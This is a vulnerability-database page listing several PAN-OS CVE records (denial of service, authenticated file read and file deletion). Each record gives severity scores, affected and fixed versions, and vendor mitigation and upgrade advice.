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"value": "\u003cp\u003e\u003cb\u003eRecommended mitigation\u003c/b\u003e\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ecritical deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview more information about how to secure management access to your Palo Alto Networks firewalls in these documents:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003ePalo Alto Networks LIVEcommunity article: \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/a\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003ePalo Alto Networks official and detailed technical documentation: \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e"
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CVE-2025-0130 (GCVE-0-2025-0130)
Vulnerability from nvd – Published: 2025-05-14 17:37 – Updated: 2025-05-15 13:49
VLAI?
Title
PAN-OS: Firewall Denial-of-Service (DoS) in the Web-Proxy Feature via a Burst of Maliciously Crafted Packets
Summary
A missing exception check in Palo Alto Networks PAN-OS® software with the web proxy feature enabled allows an unauthenticated attacker to send a burst of maliciously crafted packets that causes the firewall to become unresponsive and eventually reboot. Repeated successful attempts to trigger this condition will cause the firewall to enter maintenance mode.
This issue does not affect Cloud NGFW or Prisma Access.
Severity ?
CWE
- CWE-754 - Improper Check for Unusual or Exceptional Conditions
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-05-14 16:00
Credits
Jari Pietila of Palo Alto Networks
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CVE-2025-0124 (GCVE-0-2025-0124)
Vulnerability from nvd – Published: 2025-04-11 01:55 – Updated: 2025-04-11 16:02
VLAI?
Title
PAN-OS: Authenticated File Deletion Vulnerability on the Management Web Interface
Summary
An authenticated file deletion vulnerability in the Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to the management web interface to delete certain files as the “nobody” user; this includes limited logs and configuration files but does not include system files.
The attacker must have network access to the management web interface to exploit this issue. You greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended critical deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue affects Cloud NGFW. However, this issue does not affect Prisma® Access software.
Severity ?
CWE
- CWE-73 - External Control of File Name or Path
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Affected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-04-09 16:00
Credits
VISA, Inc.
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"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The risk is highest when you allow access to the management interface from external IP addresses on the internet."
}
]
},
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "HIGH",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "You greatly reduce the risk of exploitation by restricting access to a jump box that is the only system allowed to access the management interface. This ensures that attacks can succeed only if they obtain privileged access through those specified internal IP addresses."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-04-11T01:55:33.563Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://security.paloaltonetworks.com/CVE-2025-0124"
}
],
"solutions": [
{
"lang": "eng",
"supportingMedia": [
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"value": "\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.0\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.1 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.1\u003c/td\u003e\u003ctd\u003e11.1.0 through 11.1.4\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.5 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.0\u003c/td\u003e\u003ctd\u003e11.0.0 through 11.0.5\u003c/td\u003e\u003ctd\u003eUpgrade to 11.0.6 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.2\u003c/td\u003e\u003ctd\u003e10.2.0 through 10.2.9\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.10 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.1\u003c/td\u003e\u003ctd\u003e10.1.0 through 10.1.14\u003c/td\u003e\u003ctd\u003eUpgrade to 10.1.14-h11 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eAll other older\u003cbr\u003eunsupported\u003cbr\u003ePAN-OS versions\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version\u0026nbsp;\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003ePAN-OS 11.0 has reached EoL. We listed it here for completeness because a patch for PAN-OS 11.0 was released before it reached EoL. If you are still using any vulnerable EoL versions, we strongly recommend that you upgrade to a supported fixed PAN-OS version.\u003cbr\u003e\u003c/p\u003e"
}
],
"value": "Version\nMinor Version\nSuggested Solution\nPAN-OS 11.2\n11.2.0\nUpgrade to 11.2.1 or laterPAN-OS 11.111.1.0 through 11.1.4Upgrade to 11.1.5 or laterPAN-OS 11.011.0.0 through 11.0.5Upgrade to 11.0.6 or laterPAN-OS 10.210.2.0 through 10.2.9Upgrade to 10.2.10 or laterPAN-OS 10.110.1.0 through 10.1.14Upgrade to 10.1.14-h11 or laterAll other older\nunsupported\nPAN-OS versions\n\u00a0Upgrade to a supported fixed version\u00a0PAN-OS 11.0 has reached EoL. We listed it here for completeness because a patch for PAN-OS 11.0 was released before it reached EoL. If you are still using any vulnerable EoL versions, we strongly recommend that you upgrade to a supported fixed PAN-OS version."
}
],
"source": {
"defect": [
"PAN-254188"
],
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2025-04-09T16:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "PAN-OS: Authenticated File Deletion Vulnerability on the Management Web Interface",
"workarounds": [
{
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"value": "\u003cp\u003e\u003cb\u003eRecommended mitigation\u003c/b\u003e\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003ePalo Alto Networks LIVEcommunity article:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/a\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and detailed technical documentation:\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e"
}
],
"value": "Recommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 \n\n\n * Palo Alto Networks official and detailed technical documentation: https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices"
}
],
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CVE-2025-0114 (GCVE-0-2025-0114)
Vulnerability from nvd – Published: 2025-03-12 18:20 – Updated: 2025-03-12 18:34
VLAI?
Title
PAN-OS: Denial of Service (DoS) in GlobalProtect
Summary
A Denial of Service (DoS) vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software enables an unauthenticated attacker to render the service unavailable by sending a large number of specially crafted packets over a period of time. This issue affects both the GlobalProtect portal and the GlobalProtect gateway.
This issue does not apply to Cloud NGFWs or Prisma Access software.
Severity ?
CWE
- CWE-400 - Uncontrolled Resource Consumption
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | PAN-OS |
Unaffected:
11.2.0
(custom)
Unaffected: 11.1.0 (custom) Affected: 11.0.0 , < 11.0.2 (custom) Affected: 10.2.0 , < 10.2.5 (custom) Affected: 10.1.0 , < 10.1.14-h11 (custom) cpe:2.3:o:paloaltonetworks:pan-os:11.0.1:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:11.0.0:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.4:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.3:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.2:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.1:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h10:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h9:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h8:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h7:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h6:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h5:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h4:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h3:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h2:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h1:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:-:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.13:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.12:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.11:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.10:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.9:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.8:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.7:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.6:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.5:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.4:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.3:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.2:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.1:*:*:*:*:*:*:* cpe:2.3:o:paloaltonetworks:pan-os:10.1.0:*:*:*:*:*:*:* |
||||||||||||
|
||||||||||||||
Date Public ?
2025-03-12 16:00
Credits
an external reporter
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"cveId": "CVE-2025-0114",
"datePublished": "2025-03-12T18:20:05.608Z",
"dateReserved": "2024-12-20T23:23:15.900Z",
"dateUpdated": "2025-03-12T18:34:48.122Z",
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CVE-2025-0111 (GCVE-0-2025-0111)
Vulnerability from nvd – Published: 2025-02-12 20:58 – Updated: 2026-02-26 19:08
VLAI?
Title
PAN-OS: Authenticated File Read Vulnerability in the Management Web Interface
Summary
An authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the “nobody” user.
You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue does not affect Cloud NGFW or Prisma Access software.
Severity ?
CWE
- CWE-73 - External Control of File Name or Path
Assigner
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Palo Alto Networks | Cloud NGFW |
Unaffected:
All
(custom)
|
||||||||||||
|
||||||||||||||
Date Public ?
2025-02-12 17:00
Credits
Émilio Gonzalez
Maxime Gaudreault
our Deep Product Security Research Team
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"defaultStatus": "unaffected",
"product": "PAN-OS",
"vendor": "Palo Alto Networks",
"versions": [
{
"changes": [
{
"at": "10.1.14-h9",
"status": "unaffected"
}
],
"lessThan": "10.1.14-h9",
"status": "affected",
"version": "10.1.0",
"versionType": "custom"
},
{
"changes": [
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"at": "10.2.7-h24",
"status": "unaffected"
},
{
"at": "10.2.8-h21",
"status": "unaffected"
},
{
"at": "10.2.9-h21",
"status": "unaffected"
},
{
"at": "10.2.12-h6",
"status": "unaffected"
},
{
"at": "10.2.13-h3",
"status": "unaffected"
},
{
"at": "10.2.10-h14",
"status": "unaffected"
},
{
"at": "10.2.11-h12",
"status": "unaffected"
}
],
"lessThan": "10.2.7-h24",
"status": "affected",
"version": "10.2.0",
"versionType": "custom"
},
{
"changes": [
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"status": "unaffected"
},
{
"at": "11.1.2-h18",
"status": "unaffected"
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],
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"status": "affected",
"version": "11.1.0",
"versionType": "custom"
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{
"changes": [
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"at": "11.2.4-h4",
"status": "unaffected"
}
],
"lessThan": "11.2.4-h4",
"status": "affected",
"version": "11.2.0",
"versionType": "custom"
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]
},
{
"defaultStatus": "unaffected",
"product": "Prisma Access",
"vendor": "Palo Alto Networks",
"versions": [
{
"status": "unaffected",
"version": "All",
"versionType": "custom"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
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"value": "\u003cp\u003eThe risk is greatest if you enabled access to the management interface from the internet or any untrusted network either:\u003c/p\u003e\u003col\u003e\u003cli\u003eDirectly; or\u003c/li\u003e\u003cli\u003eThrough a dataplane interface that includes a management interface profile.\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eYou greatly reduce the risk if you ensure that you allow only trusted internal IP addresses to access the management interface.\u003c/p\u003e\u003cp\u003eUse the following steps to identify your recently detected devices in our internet scans.\u003c/p\u003e\u003col\u003e\u003cli\u003eTo find any assets that require remediation action, visit the Assets section of the Customer Support Portal at \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://support.paloaltonetworks.com/\"\u003ehttps://support.paloaltonetworks.com\u003c/a\u003e\u0026nbsp;(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\u003c/li\u003e\u003cli\u003eReview the list of your devices that we discovered in our scans to have an internet-facing management interface and that we tagged with \u2018PAN-SA-2024-0015\u2019 and a last seen timestamp (in UTC). If you do not see any such devices listed, then our scan did not find any devices on your account to have an internet-facing management interface within the past three days.\u003c/li\u003e\u003c/ol\u003e\u003cp\u003eGlobalProtect portals and gateways are not vulnerable to this issue. However, if you configure a management profile on interfaces with GlobalProtect portals or gateways, then you expose the device to attacks through the management web interface (typically accessible on port 4443).\u003c/p\u003e"
}
],
"value": "The risk is greatest if you enabled access to the management interface from the internet or any untrusted network either:\n\n * Directly; or\n * Through a dataplane interface that includes a management interface profile.\nYou greatly reduce the risk if you ensure that you allow only trusted internal IP addresses to access the management interface.\n\nUse the following steps to identify your recently detected devices in our internet scans.\n\n * To find any assets that require remediation action, visit the Assets section of the Customer Support Portal at https://support.paloaltonetworks.com https://support.paloaltonetworks.com/ \u00a0(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\n * Review the list of your devices that we discovered in our scans to have an internet-facing management interface and that we tagged with \u2018PAN-SA-2024-0015\u2019 and a last seen timestamp (in UTC). If you do not see any such devices listed, then our scan did not find any devices on your account to have an internet-facing management interface within the past three days.\nGlobalProtect portals and gateways are not vulnerable to this issue. However, if you configure a management profile on interfaces with GlobalProtect portals or gateways, then you expose the device to attacks through the management web interface (typically accessible on port 4443)."
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "\u00c9milio Gonzalez"
},
{
"lang": "en",
"type": "finder",
"value": "Maxime Gaudreault"
},
{
"lang": "en",
"type": "finder",
"value": "our Deep Product Security Research Team"
}
],
"datePublic": "2025-02-12T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
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"value": "\u003cp\u003eAn authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the \u201cnobody\u201d user.\u003c/p\u003e\u003cp\u003eYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practices deployment guidelines\u003c/a\u003e.\u003c/p\u003e\u003cb\u003e\u003cp\u003e\u003c/p\u003e\u003c/b\u003e\u003cp\u003eThis issue does not affect Cloud NGFW or Prisma Access software.\u003c/p\u003e\u003cb\u003e\u003c/b\u003e"
}
],
"value": "An authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the \u201cnobody\u201d user.\n\nYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\n\n\nThis issue does not affect Cloud NGFW or Prisma Access software."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
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"value": "\u003cp\u003ePalo Alto Networks has observed exploit attempts chaining CVE-2025-0108 with CVE-2024-9474 and CVE-2025-0111 on unpatched and unsecured PAN-OS web management interfaces.\u003c/p\u003e"
}
],
"value": "Palo Alto Networks has observed exploit attempts chaining CVE-2025-0108 with CVE-2024-9474 and CVE-2025-0111 on unpatched and unsecured PAN-OS web management interfaces."
}
],
"impacts": [
{
"capecId": "CAPEC-165",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-165 File Manipulation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"privilegesRequired": "LOW",
"providerUrgency": "RED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Red",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The risk is highest when you allow access to the management interface from external IP addresses on the internet."
}
]
},
{
"cvssV4_0": {
"Automatable": "NO",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "HIGH",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "CONCENTRATED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:M/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "MODERATE"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "You can greatly reduce the risk of exploitation by restricting access to a jump box that is the only system allowed to access the management interface. This will ensure that attacks can succeed only if they obtain privileged access through those specified IP addresses."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-73",
"description": "CWE-73: External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-02-19T23:50:51.121Z",
"orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
"shortName": "palo_alto"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://security.paloaltonetworks.com/CVE-2025-0111"
}
],
"solutions": [
{
"lang": "eng",
"supportingMedia": [
{
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"value": "\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.1.0 through 10.1.14\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 10.1.14-h9 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.0 through 10.2.13\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.13-h3 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.7\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.7-h24 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.8\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.8-h21 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.9\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.9-h21 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.10\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.10-h14 or 10.2.13-h3 or later\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.11\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.11-h12 or 10.2.13-h3 or later \u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e10.2.12\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.12-h6 or 10.2.13-h3 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.0 (EoL)\u003c/td\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.1\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.0 through 11.1.6\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.6-h1 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026nbsp;\u003c/td\u003e\u003ctd\u003e11.1.2\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.2-h18 or 11.1.6-h1 or later\u003cbr\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.2\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.0 through 11.2.4\u003cbr\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.4-h4 or later\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eNote: PAN-OS 11.0 reached end of life (EoL) on November 17, 2024. No additional fixes are planned for this release.\u003c/p\u003e"
}
],
"value": "Version\nMinor Version\nSuggested Solution\nPAN-OS 10.1\n10.1.0 through 10.1.14\nUpgrade to 10.1.14-h9 or later\nPAN-OS 10.2\n10.2.0 through 10.2.13\nUpgrade to 10.2.13-h3 or later\n\u00a010.2.7Upgrade to 10.2.7-h24 or 10.2.13-h3 or later\u00a010.2.8Upgrade to 10.2.8-h21 or 10.2.13-h3 or later\u00a010.2.9Upgrade to 10.2.9-h21 or 10.2.13-h3 or later\u00a010.2.10Upgrade to 10.2.10-h14 or 10.2.13-h3 or later\u00a010.2.11Upgrade to 10.2.11-h12 or 10.2.13-h3 or later \u00a010.2.12Upgrade to 10.2.12-h6 or 10.2.13-h3 or later\nPAN-OS 11.0 (EoL)\u00a0Upgrade to a supported fixed versionPAN-OS 11.1\n11.1.0 through 11.1.6\nUpgrade to 11.1.6-h1 or later\n\u00a011.1.2Upgrade to 11.1.2-h18 or 11.1.6-h1 or later\nPAN-OS 11.2\n11.2.0 through 11.2.4\nUpgrade to 11.2.4-h4 or laterNote: PAN-OS 11.0 reached end of life (EoL) on November 17, 2024. No additional fixes are planned for this release."
}
],
"source": {
"defect": [
"PAN-273994"
],
"discovery": "EXTERNAL"
},
"timeline": [
{
"lang": "en",
"time": "2025-02-19T23:15:00.000Z",
"value": "Updated fix availability for PAN-OS 10.2 and 11.1"
},
{
"lang": "en",
"time": "2025-02-18T23:00:00.000Z",
"value": "Updated exploit status and solution table"
},
{
"lang": "en",
"time": "2025-02-18T19:30:00.000Z",
"value": "Updated fix availability for PAN-OS 10.2"
},
{
"lang": "en",
"time": "2025-02-12T23:45:00.000Z",
"value": "Added Threat Prevention Threat ID to Workarounds and Mitigations"
},
{
"lang": "en",
"time": "2025-02-12T17:00:00.000Z",
"value": "Initial Publication"
}
],
"title": "PAN-OS: Authenticated File Read Vulnerability in the Management Web Interface",
"workarounds": [
